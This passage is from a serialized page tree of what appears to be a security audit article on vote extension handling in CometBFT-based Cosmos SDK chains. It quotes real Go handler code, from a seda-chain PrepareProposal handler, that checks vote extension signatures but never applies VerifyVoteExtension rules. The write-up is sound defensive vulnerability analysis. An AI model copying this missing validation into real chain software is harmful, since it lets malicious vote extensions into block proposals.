":29,"value":852},{"type":24,"tag":327,"props":90340,"children":90341},{"class":329,"line":547},[90342],{"type":24,"tag":327,"props":90343,"children":90344},{"style":381},[90345],{"type":29,"value":88569},{"type":24,"tag":327,"props":90347,"children":90348},{"class":329,"line":557},[90349,90353,90358,90362],{"type":24,"tag":327,"props":90350,"children":90351},{"style":425},[90352],{"type":29,"value":4944},{"type":24,"tag":327,"props":90354,"children":90355},{"style":356},[90356],{"type":29,"value":90357}," added",{"type":24,"tag":327,"props":90359,"children":90360},{"style":346},[90361],{"type":29,"value":2744},{"type":24,"tag":327,"props":90363,"children":90364},{"style":356},[90365],{"type":29,"value":90366},"err\n",{"type":24,"tag":327,"props":90368,"children":90369},{"class":329,"line":586},[90370],{"type":24,"tag":327,"props":90371,"children":90372},{"style":346},[90373],{"type":29,"value":535},{"type":24,"tag":327,"props":90375,"children":90376},{"class":329,"line":1017},[90377,90382,90386,90390,90394,90399,90403,90408,90412,90417,90421,90426,90430,90434,90438,90442],{"type":24,"tag":327,"props":90378,"children":90379},{"style":356},[90380],{"type":29,"value":90381},"    extEnabled",{"type":24,"tag":327,"props":90383,"children":90384},{"style":381},[90385],{"type":29,"value":83143},{"type":24,"tag":327,"props":90387,"children":90388},{"style":356},[90389],{"type":29,"value":90223},{"type":24,"tag":327,"props":90391,"children":90392},{"style":346},[90393],{"type":29,"value":66},{"type":24,"tag":327,"props":90395,"children":90396},{"style":356},[90397],{"type":29,"value":90398},"state",{"type":24,"tag":327,"props":90400,"children":90401},{"style":346},[90402],{"type":29,"value":66},{"type":24,"tag":327,"props":90404,"children":90405},{"style":356},[90406],{"type":29,"value":90407},"ConsensusParams",{"type":24,"tag":327,"props":90409,"children":90410},{"style":346},[90411],{"type":29,"value":66},{"type":24,"tag":327,"props":90413,"children":90414},{"style":356},[90415],{"type":29,"value":90416},"Feature",{"type":24,"tag":327,"props":90418,"children":90419},{"style":346},[90420],{"type":29,"value":66},{"type":24,"tag":327,"props":90422,"children":90423},{"style":340},[90424],{"type":29,"value":90425},"VoteExtensionsEnabled",{"type":24,"tag":327,"props":90427,"children":90428},{"style":346},[90429],{"type":29,"value":349},{"type":24,"tag":327,"props":90431,"children":90432},{"style":356},[90433],{"type":29,"value":90086},{"type":24,"tag":327,"props":90435,"children":90436},{"style":346},[90437],{"type":29,"value":66},{"type":24,"tag":327,"props":90439,"children":90440},{"style":356},[90441],{"type":29,"value":90206},{"type":24,"tag":327,"props":90443,"children":90444},{"style":346},[90445],{"type":29,"value":852},{"type":24,"tag":327,"props":90447,"children":90448},{"class":329,"line":1026},[90449,90453,90458],{"type":24,"tag":327,"props":90450,"children":90451},{"style":425},[90452],{"type":29,"value":428},{"type":24,"tag":327,"props":90454,"children":90455},{"style":356},[90456],{"type":29,"value":90457}," extEnabled",{"type":24,"tag":327,"props":90459,"children":90460},{"style":346},[90461],{"type":29,"value":497},{"type":24,"tag":327,"props":90463,"children":90464},{"class":329,"line":1048},[90465],{"type":24,"tag":327,"props":90466,"children":90467},{"style":381},[90468],{"type":29,"value":88569},{"type":24,"tag":327,"props":90470,"children":90471},{"class":329,"line":1067},[90472,90476,90480,90484,90488,90492,90496,90500,90504,90508,90512,90516,90520,90525,90529,90534,90538],{"type":24,"tag":327,"props":90473,"children":90474},{"style":425},[90475],{"type":29,"value":8861},{"type":24,"tag":327,"props":90477,"children":90478},{"style":356},[90479],{"type":29,"value":90197},{"type":24,"tag":327,"props":90481,"children":90482},{"style":346},[90483],{"type":29,"value":66},{"type":24,"tag":327,"props":90485,"children":90486},{"style":356},[90487],{"type":29,"value":90248},{"type":24,"tag":327,"props":90489,"children":90490},{"style":381},[90491],{"type":29,"value":9887},{"type":24,"tag":327,"props":90493,"children":90494},{"style":356},[90495],{"type":29,"value":84902},{"type":24,"tag":327,"props":90497,"children":90498},{"style":346},[90499],{"type":29,"value":66},{"type":24,"tag":327,"props":90501,"children":90502},{"style":356},[90503],{"type":29,"value":90265},{"type":24,"tag":327,"props":90505,"children":90506},{"style":381},[90507],{"type":29,"value":21717},{"type":24,"tag":327,"props":90509,"children":90510},{"style":381},[90511],{"type":29,"value":20408},{"type":24,"tag":327,"props":90513,"children":90514},{"style":356},[90515],{"type":29,"value":90086},{"type":24,"tag":327,"props":90517,"children":90518},{"style":346},[90519],{"type":29,"value":66},{"type":24,"tag":327,"props":90521,"children":90522},{"style":356},[90523],{"type":29,"value":90524},"BlockID",{"type":24,"tag":327,"props":90526,"children":90527},{"style":346},[90528],{"type":29,"value":66},{"type":24,"tag":327,"props":90530,"children":90531},{"style":340},[90532],{"type":29,"value":90533},"IsNil",{"type":24,"tag":327,"props":90535,"children":90536},{"style":346},[90537],{"type":29,"value":7338},{"type":24,"tag":327,"props":90539,"children":90540},{"style":381},[90541],{"type":29,"value":90542},"&&\n",{"type":24,"tag":327,"props":90544,"children":90545},{"class":329,"line":1075},[90546,90551,90556,90560,90564,90568,90572,90576,90581,90585,90590,90594],{"type":24,"tag":327,"props":90547,"children":90548},{"style":381},[90549],{"type":29,"value":90550},"            !",{"type":24,"tag":327,"props":90552,"children":90553},{"style":356},[90554],{"type":29,"value":90555},"bytes",{"type":24,"tag":327,"props":90557,"children":90558},{"style":346},[90559],{"type":29,"value":66},{"type":24,"tag":327,"props":90561,"children":90562},{"style":340},[90563],{"type":29,"value":89025},{"type":24,"tag":327,"props":90565,"children":90566},{"style":346},[90567],{"type":29,"value":349},{"type":24,"tag":327,"props":90569,"children":90570},{"style":356},[90571],{"type":29,"value":90086},{"type":24,"tag":327,"props":90573,"children":90574},{"style":346},[90575],{"type":29,"value":66},{"type":24,"tag":327,"props":90577,"children":90578},{"style":356},[90579],{"type":29,"value":90580},"ValidatorAddress",{"type":24,"tag":327,"props":90582,"children":90583},{"style":346},[90584],{"type":29,"value":2744},{"type":24,"tag":327,"props":90586,"children":90587},{"style":356},[90588],{"type":29,"value":90589},"myAddr",{"type":24,"tag":327,"props":90591,"children":90592},{"style":346},[90593],{"type":29,"value":5436},{"type":24,"tag":327,"props":90595,"children":90596},{"style":551},[90597],{"type":29,"value":90598},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":24,"tag":327,"props":90600,"children":90601},{"class":329,"line":1084},[90602],{"type":24,"tag":327,"props":90603,"children":90604},{"style":381},[90605],{"type":29,"value":89245},{"type":24,"tag":327,"props":90607,"children":90608},{"class":329,"line":1100},[90609,90613,90617,90621,90625,90630,90634,90638,90642,90647,90651,90656,90660,90664],{"type":24,"tag":327,"props":90610,"children":90611},{"style":356},[90612],{"type":29,"value":89063},{"type":24,"tag":327,"props":90614,"children":90615},{"style":381},[90616],{"type":29,"value":83143},{"type":24,"tag":327,"props":90618,"children":90619},{"style":356},[90620],{"type":29,"value":90223},{"type":24,"tag":327,"props":90622,"children":90623},{"style":346},[90624],{"type":29,"value":66},{"type":24,"tag":327,"props":90626,"children":90627},{"style":356},[90628],{"type":29,"value":90629},"blockExec",{"type":24,"tag":327,"props":90631,"children":90632},{"style":346},[90633],{"type":29,"value":66},{"type":24,"tag":327,"props":90635,"children":90636},{"style":340},[90637],{"type":29,"value":89891},{"type":24,"tag":327,"props":90639,"children":90640},{"style":346},[90641],{"type":29,"value":349},{"type":24,"tag":327,"props":90643,"children":90644},{"style":356},[90645],{"type":29,"value":90646},"context",{"type":24,"tag":327,"props":90648,"children":90649},{"style":346},[90650],{"type":29,"value":66},{"type":24,"tag":327,"props":90652,"children":90653},{"style":340},[90654],{"type":29,"value":90655},"TODO",{"type":24,"tag":327,"props":90657,"children":90658},{"style":346},[90659],{"type":29,"value":25885},{"type":24,"tag":327,"props":90661,"children":90662},{"style":356},[90663],{"type":29,"value":90086},{"type":24,"tag":327,"props":90665,"children":90666},{"style":346},[90667],{"type":29,"value":852},{"type":24,"tag":327,"props":90669,"children":90670},{"class":329,"line":1128},[90671],{"type":24,"tag":327,"props":90672,"children":90673},{"style":381},[90674],{"type":29,"value":89245},{"type":24,"tag":327,"props":90676,"children":90677},{"class":329,"line":1148},[90678],{"type":24,"tag":327,"props":90679,"children":90680},{"style":346},[90681],{"type":29,"value":8989},{"type":24,"tag":327,"props":90683,"children":90684},{"class":329,"line":1176},[90685,90689,90693,90697],{"type":24,"tag":327,"props":90686,"children":90687},{"style":346},[90688],{"type":29,"value":487},{"type":24,"tag":327,"props":90690,"children":90691},{"style":425},[90692],{"type":29,"value":492},{"type":24,"tag":327,"props":90694,"children":90695},{"style":425},[90696],{"type":29,"value":23305},{"type":24,"tag":327,"props":90698,"children":90699},{"style":346},[90700],{"type":29,"value":497},{"type":24,"tag":327,"props":90702,"children":90703},{"class":329,"line":1184},[90704],{"type":24,"tag":327,"props":90705,"children":90706},{"style":381},[90707],{"type":29,"value":88569},{"type":24,"tag":327,"props":90709,"children":90710},{"class":329,"line":1192},[90711],{"type":24,"tag":327,"props":90712,"children":90713},{"style":346},[90714],{"type":29,"value":535},{"type":24,"tag":327,"props":90716,"children":90717},{"class":329,"line":1212},[90718],{"type":24,"tag":327,"props":90719,"children":90720},{"style":381},[90721],{"type":29,"value":1697},{"type":24,"tag":327,"props":90723,"children":90724},{"class":329,"line":4841},[90725],{"type":24,"tag":327,"props":90726,"children":90727},{"style":346},[90728],{"type":29,"value":592},{"type":24,"tag":25,"props":90730,"children":90731},{},[90732],{"type":29,"value":90733},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":24,"tag":235,"props":90735,"children":90737},{"id":90736},"real-world-examples-4",[90738],{"type":29,"value":83416},{"type":24,"tag":25,"props":90740,"children":90741},{},[90742,90744,90749,90751,90757,90759,90765],{"type":29,"value":90743},"An example of the bug we just described is shown here. ",{"type":24,"tag":284,"props":90745,"children":90747},{"className":90746},[],[90748],{"type":29,"value":89870},{"type":29,"value":90750}," only checks that each vote is properly signed by a validator in ",{"type":24,"tag":284,"props":90752,"children":90754},{"className":90753},[],[90755],{"type":29,"value":90756},"ValidateVoteExtension",{"type":29,"value":90758}," but does not verify it against the rules in ",{"type":24,"tag":284,"props":90760,"children":90762},{"className":90761},[],[90763],{"type":29,"value":90764},"VerifyVoteExtention.",{"type":29,"value":90766}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":24,"tag":25,"props":90768,"children":90769},{},[90770],{"type":24,"tag":57,"props":90771,"children":90774},{"href":90772,"rel":90773},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[61],[90775],{"type":29,"value":83466},{"type":24,"tag":317,"props":90777,"children":90779},{"code":90778,"language":82891,"meta":7,"className":82892,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[90780],{"type":24,"tag":284,"props":90781,"children":90782},{"__ignoreMap":7},[90783,90837,90928,90935,90956,91023,91031,91136,91159,91178,91185,91239,91262,91317,91336,91343,91350,91357,91411,91418,91444,91467,91519,91581,91588,91615,91635,91647,91654],{"type":24,"tag":327,"props":90784,"children":90785},{"class":329,"line":330},[90786,90790,90794,90799,90803,90808,90812,90817,90821,90825,90829,90833],{"type":24,"tag":327,"props":90787,"children":90788},{"style":334},[90789],{"type":29,"value":83027},{"type":24,"tag":327,"props":90791,"children":90792},{"style":346},[90793],{"type":29,"value":5894},{"type":24,"tag":327,"props":90795,"children":90796},{"style":356},[90797],{"type":29,"value":90798},"h ",{"type":24,"tag":327,"props":90800,"children":90801},{"style":381},[90802],{"type":29,"value":469},{"type":24,"tag":327,"props":90804,"children":90805},{"style":1639},[90806],{"type":29,"value":90807},"Handlers",{"type":24,"tag":327,"props":90809,"children":90810},{"style":346},[90811],{"type":29,"value":1674},{"type":24,"tag":327,"props":90813,"children":90814},{"style":340},[90815],{"type":29,"value":90816},"PrepareProposalHandler",{"type":24,"tag":327,"props":90818,"children":90819},{"style":346},[90820],{"type":29,"value":7338},{"type":24,"tag":327,"props":90822,"children":90823},{"style":1639},[90824],{"type":29,"value":85457},{"type":24,"tag":327,"props":90826,"children":90827},{"style":346},[90828],{"type":29,"value":66},{"type":24,"tag":327,"props":90830,"children":90831},{"style":1639},[90832],{"type":29,"value":90816},{"type":24,"tag":327,"props":90834,"children":90835},{"style":346},[90836],{"type":29,"value":497},{"type":24,"tag":327,"props":90838,"children":90839},{"class":329,"line":367},[90840,90844,90848,90852,90856,90860,90864,90868,90872,90877,90881,90886,90890,90895,90899,90903,90907,90911,90916,90920,90924],{"type":24,"tag":327,"props":90841,"children":90842},{"style":425},[90843],{"type":29,"value":6023},{"type":24,"tag":327,"props":90845,"children":90846},{"style":334},[90847],{"type":29,"value":86736},{"type":24,"tag":327,"props":90849,"children":90850},{"style":346},[90851],{"type":29,"value":349},{"type":24,"tag":327,"props":90853,"children":90854},{"style":356},[90855],{"type":29,"value":1631},{"type":24,"tag":327,"props":90857,"children":90858},{"style":1639},[90859],{"type":29,"value":85368},{"type":24,"tag":327,"props":90861,"children":90862},{"style":346},[90863],{"type":29,"value":66},{"type":24,"tag":327,"props":90865,"children":90866},{"style":1639},[90867],{"type":29,"value":83076},{"type":24,"tag":327,"props":90869,"children":90870},{"style":346},[90871],{"type":29,"value":2744},{"type":24,"tag":327,"props":90873,"children":90874},{"style":356},[90875],{"type":29,"value":90876},"req",{"type":24,"tag":327,"props":90878,"children":90879},{"style":381},[90880],{"type":29,"value":17364},{"type":24,"tag":327,"props":90882,"children":90883},{"style":1639},[90884],{"type":29,"value":90885},"abcitypes",{"type":24,"tag":327,"props":90887,"children":90888},{"style":346},[90889],{"type":29,"value":66},{"type":24,"tag":327,"props":90891,"children":90892},{"style":1639},[90893],{"type":29,"value":90894},"RequestPrepareProposal",{"type":24,"tag":327,"props":90896,"children":90897},{"style":346},[90898],{"type":29,"value":83109},{"type":24,"tag":327,"props":90900,"children":90901},{"style":381},[90902],{"type":29,"value":469},{"type":24,"tag":327,"props":90904,"children":90905},{"style":1639},[90906],{"type":29,"value":90885},{"type":24,"tag":327,"props":90908,"children":90909},{"style":346},[90910],{"type":29,"value":66},{"type":24,"tag":327,"props":90912,"children":90913},{"style":1639},[90914],{"type":29,"value":90915},"ResponsePrepareProposal",{"type":24,"tag":327,"props":90917,"children":90918},{"style":346},[90919],{"type":29,"value":2744},{"type":24,"tag":327,"props":90921,"children":90922},{"style":1639},[90923],{"type":29,"value":22387},{"type":24,"tag":327,"props":90925,"children":90926},{"style":346},[90927],{"type":29,"value":364},{"type":24,"tag":327,"props":90929,"children":90930},{"class":329,"line":408},[90931],{"type":24,"tag":327,"props":90932,"children":90933},{"style":381},[90934],{"type":29,"value":88569},{"type":24,"tag":327,"props":90936,"children":90937},{"class":329,"line":421},[90938,90942,90947,90951],{"type":24,"tag":327,"props":90939,"children":90940},{"style":334},[90941],{"type":29,"value":86845},{"type":24,"tag":327,"props":90943,"children":90944},{"style":356},[90945],{"type":29,"value":90946}," injection",{"type":24,"tag":327,"props":90948,"children":90949},{"style":346},[90950],{"type":29,"value":82954},{"type":24,"tag":327,"props":90952,"children":90953},{"style":1639},[90954],{"type":29,"value":90955},"byte\n",{"type":24,"tag":327,"props":90957,"children":90958},{"class":329,"line":450},[90959,90963,90968,90972,90976,90980,90984,90988,90992,90996,91001,91005,91010,91014,91019],{"type":24,"tag":327,"props":90960,"children":90961},{"style":425},[90962],{"type":29,"value":8861},{"type":24,"tag":327,"props":90964,"children":90965},{"style":356},[90966],{"type":29,"value":90967}," req",{"type":24,"tag":327,"props":90969,"children":90970},{"style":346},[90971],{"type":29,"value":66},{"type":24,"tag":327,"props":90973,"children":90974},{"style":356},[90975],{"type":29,"value":90206},{"type":24,"tag":327,"props":90977,"children":90978},{"style":381},[90979],{"type":29,"value":5013},{"type":24,"tag":327,"props":90981,"children":90982},{"style":356},[90983],{"type":29,"value":7301},{"type":24,"tag":327,"props":90985,"children":90986},{"style":346},[90987],{"type":29,"value":66},{"type":24,"tag":327,"props":90989,"children":90990},{"style":340},[90991],{"type":29,"value":90407},{"type":24,"tag":327,"props":90993,"children":90994},{"style":346},[90995],{"type":29,"value":36877},{"type":24,"tag":327,"props":90997,"children":90998},{"style":356},[90999],{"type":29,"value":91000},"Abci",{"type":24,"tag":327,"props":91002,"children":91003},{"style":346},[91004],{"type":29,"value":66},{"type":24,"tag":327,"props":91006,"children":91007},{"style":356},[91008],{"type":29,"value":91009},"VoteExtensionsEnableHeight",{"type":24,"tag":327,"props":91011,"children":91012},{"style":381},[91013],{"type":29,"value":21717},{"type":24,"tag":327,"props":91015,"children":91016},{"style":356},[91017],{"type":29,"value":91018}," collectSigs",{"type":24,"tag":327,"props":91020,"children":91021},{"style":346},[91022],{"type":29,"value":497},{"type":24,"tag":327,"props":91024,"children":91025},{"class":329,"line":481},[91026],{"type":24,"tag":327,"props":91027,"children":91028},{"style":551},[91029],{"type":29,"value":91030},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":24,"tag":327,"props":91032,"children":91033},{"class":329,"line":500},[91034,91038,91042,91047,91051,91056,91060,91064,91068,91073,91077,91082,91086,91090,91094,91098,91102,91106,91110,91115,91119,91123,91127,91132],{"type":24,"tag":327,"props":91035,"children":91036},{"style":356},[91037],{"type":29,"value":89063},{"type":24,"tag":327,"props":91039,"children":91040},{"style":381},[91041],{"type":29,"value":83143},{"type":24,"tag":327,"props":91043,"children":91044},{"style":356},[91045],{"type":29,"value":91046}," baseapp",{"type":24,"tag":327,"props":91048,"children":91049},{"style":346},[91050],{"type":29,"value":66},{"type":24,"tag":327,"props":91052,"children":91053},{"style":340},[91054],{"type":29,"value":91055},"ValidateVoteExtensions",{"type":24,"tag":327,"props":91057,"children":91058},{"style":346},[91059],{"type":29,"value":349},{"type":24,"tag":327,"props":91061,"children":91062},{"style":356},[91063],{"type":29,"value":1631},{"type":24,"tag":327,"props":91065,"children":91066},{"style":346},[91067],{"type":29,"value":2744},{"type":24,"tag":327,"props":91069,"children":91070},{"style":356},[91071],{"type":29,"value":91072},"h",{"type":24,"tag":327,"props":91074,"children":91075},{"style":346},[91076],{"type":29,"value":66},{"type":24,"tag":327,"props":91078,"children":91079},{"style":356},[91080],{"type":29,"value":91081},"stakingKeeper",{"type":24,"tag":327,"props":91083,"children":91084},{"style":346},[91085],{"type":29,"value":2744},{"type":24,"tag":327,"props":91087,"children":91088},{"style":356},[91089],{"type":29,"value":90876},{"type":24,"tag":327,"props":91091,"children":91092},{"style":346},[91093],{"type":29,"value":66},{"type":24,"tag":327,"props":91095,"children":91096},{"style":356},[91097],{"type":29,"value":90206},{"type":24,"tag":327,"props":91099,"children":91100},{"style":346},[91101],{"type":29,"value":2744},{"type":24,"tag":327,"props":91103,"children":91104},{"style":356},[91105],{"type":29,"value":1631},{"type":24,"tag":327,"props":91107,"children":91108},{"style":346},[91109],{"type":29,"value":66},{"type":24,"tag":327,"props":91111,"children":91112},{"style":340},[91113],{"type":29,"value":91114},"ChainID",{"type":24,"tag":327,"props":91116,"children":91117},{"style":346},[91118],{"type":29,"value":25885},{"type":24,"tag":327,"props":91120,"children":91121},{"style":356},[91122],{"type":29,"value":90876},{"type":24,"tag":327,"props":91124,"children":91125},{"style":346},[91126],{"type":29,"value":66},{"type":24,"tag":327,"props":91128,"children":91129},{"style":356},[91130],{"type":29,"value":91131},"LocalLastCommit",{"type":24,"tag":327,"props":91133,"children":91134},{"style":346},[91135],{"type":29,"value":852},{"type":24,"tag":327,"props":91137,"children":91138},{"class":329,"line":529},[91139,91143,91147,91151,91155],{"type":24,"tag":327,"props":91140,"children":91141},{"style":425},[91142],{"type":29,"value":65523},{"type":24,"tag":327,"props":91144,"children":91145},{"style":356},[91146],{"type":29,"value":55241},{"type":24,"tag":327,"props":91148,"children":91149},{"style":381},[91150],{"type":29,"value":71110},{"type":24,"tag":327,"props":91152,"children":91153},{"style":334},[91154],{"type":29,"value":88645},{"type":24,"tag":327,"props":91156,"children":91157},{"style":346},[91158],{"type":29,"value":497},{"type":24,"tag":327,"props":91160,"children":91161},{"class":329,"line":538},[91162,91166,91170,91174],{"type":24,"tag":327,"props":91163,"children":91164},{"style":425},[91165],{"type":29,"value":67451},{"type":24,"tag":327,"props":91167,"children":91168},{"style":334},[91169],{"type":29,"value":88645},{"type":24,"tag":327,"props":91171,"children":91172},{"style":346},[91173],{"type":29,"value":2744},{"type":24,"tag":327,"props":91175,"children":91176},{"style":356},[91177],{"type":29,"value":90366},{"type":24,"tag":327,"props":91179,"children":91180},{"class":329,"line":547},[91181],{"type":24,"tag":327,"props":91182,"children":91183},{"style":346},[91184],{"type":29,"value":65607},{"type":24,"tag":327,"props":91186,"children":91187},{"class":329,"line":557},[91188,91193,91197,91201,91205,91210,91214,91219,91223,91227,91231,91235],{"type":24,"tag":327,"props":91189,"children":91190},{"style":356},[91191],{"type":29,"value":91192},"            injection",{"type":24,"tag":327,"props":91194,"children":91195},{"style":346},[91196],{"type":29,"value":2744},{"type":24,"tag":327,"props":91198,"children":91199},{"style":356},[91200],{"type":29,"value":55140},{"type":24,"tag":327,"props":91202,"children":91203},{"style":381},[91204],{"type":29,"value":4809},{"type":24,"tag":327,"props":91206,"children":91207},{"style":356},[91208],{"type":29,"value":91209}," json",{"type":24,"tag":327,"props":91211,"children":91212},{"style":346},[91213],{"type":29,"value":66},{"type":24,"tag":327,"props":91215,"children":91216},{"style":340},[91217],{"type":29,"value":91218},"Marshal",{"type":24,"tag":327,"props":91220,"children":91221},{"style":346},[91222],{"type":29,"value":349},{"type":24,"tag":327,"props":91224,"children":91225},{"style":356},[91226],{"type":29,"value":90876},{"type":24,"tag":327,"props":91228,"children":91229},{"style":346},[91230],{"type":29,"value":66},{"type":24,"tag":327,"props":91232,"children":91233},{"style":356},[91234],{"type":29,"value":91131},{"type":24,"tag":327,"props":91236,"children":91237},{"style":346},[91238],{"type":29,"value":852},{"type":24,"tag":327,"props":91240,"children":91241},{"class":329,"line":586},[91242,91246,91250,91254,91258],{"type":24,"tag":327,"props":91243,"children":91244},{"style":425},[91245],{"type":29,"value":65523},{"type":24,"tag":327,"props":91247,"children":91248},{"style":356},[91249],{"type":29,"value":55241},{"type":24,"tag":327,"props":91251,"children":91252},{"style":381},[91253],{"type":29,"value":71110},{"type":24,"tag":327,"props":91255,"children":91256},{"style":334},[91257],{"type":29,"value":88645},{"type":24,"tag":327,"props":91259,"children":91260},{"style":346},[91261],{"type":29,"value":497},{"type":24,"tag":327,"props":91263,"children":91264},{"class":329,"line":1017},[91265,91270,91274,91279,91283,91287,91291,91296,91300,91305,91309,91313],{"type":24,"tag":327,"props":91266,"children":91267},{"style":356},[91268],{"type":29,"value":91269},"                h",{"type":24,"tag":327,"props":91271,"children":91272},{"style":346},[91273],{"type":29,"value":66},{"type":24,"tag":327,"props":91275,"children":91276},{"style":356},[91277],{"type":29,"value":91278},"logger",{"type":24,"tag":327,"props":91280,"children":91281},{"style":346},[91282],{"type":29,"value":66},{"type":24,"tag":327,"props":91284,"children":91285},{"style":340},[91286],{"type":29,"value":44111},{"type":24,"tag":327,"props":91288,"children":91289},{"style":346},[91290],{"type":29,"value":349},{"type":24,"tag":327,"props":91292,"children":91293},{"style":844},[91294],{"type":29,"value":91295},"\"failed to marshal extended votes\"",{"type":24,"tag":327,"props":91297,"children":91298},{"style":346},[91299],{"type":29,"value":2744},{"type":24,"tag":327,"props":91301,"children":91302},{"style":844},[91303],{"type":29,"value":91304},"\"err\"",{"type":24,"tag":327,"props":91306,"children":91307},{"style":346},[91308],{"type":29,"value":2744},{"type":24,"tag":327,"props":91310,"children":91311},{"style":356},[91312],{"type":29,"value":55140},{"type":24,"tag":327,"props":91314,"children":91315},{"style":346},[91316],{"type":29,"value":852},{"type":24,"tag":327,"props":91318,"children":91319},{"class":329,"line":1026},[91320,91324,91328,91332],{"type":24,"tag":327,"props":91321,"children":91322},{"style":425},[91323],{"type":29,"value":67451},{"type":24,"tag":327,"props":91325,"children":91326},{"style":334},[91327],{"type":29,"value":88645},{"type":24,"tag":327,"props":91329,"children":91330},{"style":346},[91331],{"type":29,"value":2744},{"type":24,"tag":327,"props":91333,"children":91334},{"style":356},[91335],{"type":29,"value":90366},{"type":24,"tag":327,"props":91337,"children":91338},{"class":329,"line":1048},[91339],{"type":24,"tag":327,"props":91340,"children":91341},{"style":346},[91342],{"type":29,"value":65607},{"type":24,"tag":327,"props":91344,"children":91345},{"class":329,"line":1067},[91346],{"type":24,"tag":327,"props":91347,"children":91348},{"style":381},[91349],{"type":29,"value":89245},{"type":24,"tag":327,"props":91351,"children":91352},{"class":329,"line":1075},[91353],{"type":24,"tag":327,"props":91354,"children":91355},{"style":346},[91356],{"type":29,"value":8989},{"type":24,"tag":327,"props":91358,"children":91359},{"class":329,"line":1084},[91360,91365,91369,91373,91377,91382,91386,91391,91395,91399,91403,91407],{"type":24,"tag":327,"props":91361,"children":91362},{"style":356},[91363],{"type":29,"value":91364},"        defaultRes",{"type":24,"tag":327,"props":91366,"children":91367},{"style":346},[91368],{"type":29,"value":2744},{"type":24,"tag":327,"props":91370,"children":91371},{"style":356},[91372],{"type":29,"value":55140},{"type":24,"tag":327,"props":91374,"children":91375},{"style":381},[91376],{"type":29,"value":83143},{"type":24,"tag":327,"props":91378,"children":91379},{"style":356},[91380],{"type":29,"value":91381}," h",{"type":24,"tag":327,"props":91383,"children":91384},{"style":346},[91385],{"type":29,"value":66},{"type":24,"tag":327,"props":91387,"children":91388},{"style":340},[91389],{"type":29,"value":91390},"defaultPrepareProposal",{"type":24,"tag":327,"props":91392,"children":91393},{"style":346},[91394],{"type":29,"value":349},{"type":24,"tag":327,"props":91396,"children":91397},{"style":356},[91398],{"type":29,"value":1631},{"type":24,"tag":327,"props":91400,"children":91401},{"style":346},[91402],{"type":29,"value":2744},{"type":24,"tag":327,"props":91404,"children":91405},{"style":356},[91406],{"type":29,"value":90876},{"type":24,"tag":327,"props":91408,"children":91409},{"style":346},[91410],{"type":29,"value":852},{"type":24,"tag":327,"props":91412,"children":91413},{"class":329,"line":1100},[91414],{"type":24,"tag":327,"props":91415,"children":91416},{"style":381},[91417],{"type":29,"value":88569},{"type":24,"tag":327,"props":91419,"children":91420},{"class":329,"line":1128},[91421,91426,91430,91435,91439],{"type":24,"tag":327,"props":91422,"children":91423},{"style":356},[91424],{"type":29,"value":91425},"        proposalTxs",{"type":24,"tag":327,"props":91427,"children":91428},{"style":381},[91429],{"type":29,"value":83143},{"type":24,"tag":327,"props":91431,"children":91432},{"style":356},[91433],{"type":29,"value":91434}," defaultRes",{"type":24,"tag":327,"props":91436,"children":91437},{"style":346},[91438],{"type":29,"value":66},{"type":24,"tag":327,"props":91440,"children":91441},{"style":356},[91442],{"type":29,"value":91443},"Txs\n",{"type":24,"tag":327,"props":91445,"children":91446},{"class":329,"line":1148},[91447,91451,91455,91459,91463],{"type":24,"tag":327,"props":91448,"children":91449},{"style":425},[91450],{"type":29,"value":8861},{"type":24,"tag":327,"props":91452,"children":91453},{"style":356},[91454],{"type":29,"value":90946},{"type":24,"tag":327,"props":91456,"children":91457},{"style":381},[91458],{"type":29,"value":71110},{"type":24,"tag":327,"props":91460,"children":91461},{"style":334},[91462],{"type":29,"value":88645},{"type":24,"tag":327,"props":91464,"children":91465},{"style":346},[91466],{"type":29,"value":497},{"type":24,"tag":327,"props":91468,"children":91469},{"class":329,"line":1176},[91470,91475,91479,91483,91488,91493,91497,91502,91506,91511,91515],{"type":24,"tag":327,"props":91471,"children":91472},{"style":356},[91473],{"type":29,"value":91474},"            proposalTxs",{"type":24,"tag":327,"props":91476,"children":91477},{"style":381},[91478],{"type":29,"value":4809},{"type":24,"tag":327,"props":91480,"children":91481},{"style":340},[91482],{"type":29,"value":84423},{"type":24,"tag":327,"props":91484,"children":91485},{"style":346},[91486],{"type":29,"value":91487},"([][]",{"type":24,"tag":327,"props":91489,"children":91490},{"style":1639},[91491],{"type":29,"value":91492},"byte",{"type":24,"tag":327,"props":91494,"children":91495},{"style":346},[91496],{"type":29,"value":83345},{"type":24,"tag":327,"props":91498,"children":91499},{"style":356},[91500],{"type":29,"value":91501},"injection",{"type":24,"tag":327,"props":91503,"children":91504},{"style":346},[91505],{"type":29,"value":83364},{"type":24,"tag":327,"props":91507,"children":91508},{"style":356},[91509],{"type":29,"value":91510},"proposalTxs",{"type":24,"tag":327,"props":91512,"children":91513},{"style":381},[91514],{"type":29,"value":1922},{"type":24,"tag":327,"props":91516,"children":91517},{"style":346},[91518],{"type":29,"value":852},{"type":24,"tag":327,"props":91520,"children":91521},{"class":329,"line":1184},[91522,91527,91531,91535,91539,91543,91547,91552,91556,91561,91565,91569,91573,91577],{"type":24,"tag":327,"props":91523,"children":91524},{"style":356},[91525],{"type":29,"value":91526},"            